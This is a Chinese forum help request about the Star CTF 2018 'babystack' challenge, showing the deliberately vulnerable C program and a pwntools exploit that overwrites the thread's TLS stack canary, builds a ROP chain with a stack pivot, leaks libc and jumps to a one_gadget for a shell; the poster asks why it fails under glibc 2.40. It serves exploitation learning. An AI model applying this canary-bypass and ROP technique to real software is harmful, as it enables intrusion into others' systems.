-
-
[求助] Star CTF 2018 - babystack
-
发表于: 2025-9-3 11:02 458
-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | #include <errno.h>#include <stdio.h>#include <pthread.h>#include <asm/prctl.h>#include <sys/prctl.h>#include <string.h>#include <stdlib.h>#include <unistd.h>size_t get_long() { char buf[8]; fgets(buf, 8, stdin); return (size_t)atol(buf);}size_t readn(int fd, char *buf, size_t n) { size_t rc; size_t nread = 0; while (nread < n) { rc = read(fd, &buf[nread], n-nread); if (rc == -1) { if (errno == EAGAIN || errno == EINTR) { continue; } return -1; } if (rc == 0) { break; } nread += rc; } return nread;}void * start() { size_t size; char input[0x1000]; memset(input, 0, 0x1000); puts("Welcome to babystack 2018!"); puts("How many bytes do you want to send?"); size = get_long(); if (size > 0x10000) { puts("You are greedy!"); return 0; } readn(0, input, size); puts("It's time to say goodbye."); return 0;}int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); pthread_t t; puts(""); puts(" # # #### ##### ######"); puts(" # # # # # #"); puts("### ### # # #####"); puts(" # # # # #"); puts(" # # # # # #"); puts(" #### # #"); puts(""); pthread_create(&t, NULL, &start, 0); if (pthread_join(t, NULL) != 0) { puts("exit failure"); return 1; } puts("Bye bye"); return 0;} // gcc -fstack-protector-strong -s -pthread bs.c -o bs -Wl,-z,now,-z,relro |
一道通过覆盖 TLS stack_guard 原始 Canary 绕过栈溢出防护的题目。在 Ubuntu 16.04 编译,Ubuntu 24.10 运行。
先编写了简易的脚本 GDB 调试,可以找到输入位置,以及 stack_guard 地址,计算偏移:

距离 stack_guard 有 0x1838 字节,由于覆盖的 Canary 还需占用 8 字节,实际上应当输入 0x1840 字节数据。
由于我实在不会多线程调试,一直都是调试一半程序就崩溃了,所以就直接写脚本了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | from pwn import *from LibcSearcher import *context(log_level='debug', arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])file = './bs'io = process(file)elf = ELF(file)bss_addr = elf.bss()target_addr = bss_addr + 0x8leave_ret = 0x400955pop_rdi_ret = 0x400c03pop_rsi_r15_ret = 0x400c01pop_r12_r13_r14_r15_ret = 0x400bfcread_plt = elf.symbols['read']puts_plt = elf.symbols['puts']puts_got = elf.got['puts']offset = 0x1840io.recvuntil(b'How many bytes do you want to send?\n')io.sendline(str(offset).encode())payload = b'a' * 0x1008payload += p64(0xdeadbeef)payload += p64(target_addr - 0x8)payload += flat([pop_rdi_ret, puts_got, puts_plt])payload += flat([pop_rdi_ret, 0, pop_rsi_r15_ret, target_addr, 0xdeadbeef, read_plt])payload += p64(leave_ret)payload = payload.ljust(offset - 0x8, b'a')payload += p64(0xdeadbeef)# gdb.attach(io)io.send(payload)# pause()io.recvuntil(b'goodbye.\n')puts_addr = u64(io.recv(6).ljust(8, b'\x00'))log.info('puts_addr: %s' % hex(puts_addr))libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')one_gadget = libc_base + 0xf6237payload = flat([pop_r12_r13_r14_r15_ret, 0, 0, 0xdeadbeef, 0xdeadbeef, one_gadget])io.sendline(payload)io.interactive() |
第一回合输入泄露 puts GOT 地址、向 bss 段写入数据,最后构造栈迁移,填充数据到 stack_guard ,篡改 Canary,但是这里发送完 payload 后就直接 EOF 报错退出了。

GDB 调试一下,发现卡在了这里:

按理说,FS:10h 这块是不会被覆盖的,输入位置到 FS:28h 偏移为 0x1838 ,而我只输入 0x1840 字节,应该只是刚好覆盖完成 FS:28h 的。
更离奇的是,发送完 payload 后,stack_guard 地址竟然被覆盖了?!我只是单纯利用 read 覆盖栈内容,为什么还会改变 TLS 的地址信息?

我采用的 glibc 是 Ubuntu GLIBC 2.40-1ubuntu3.1,难道这是新版本 glibc 出现的新变动?总之我查看了网上几乎所有的 wp,跟上面脚本的思路是一致的。
恳请大佬们忙里偷闲帮忙解决!万分感谢!
赞赏
赞赏
雪币:
留言: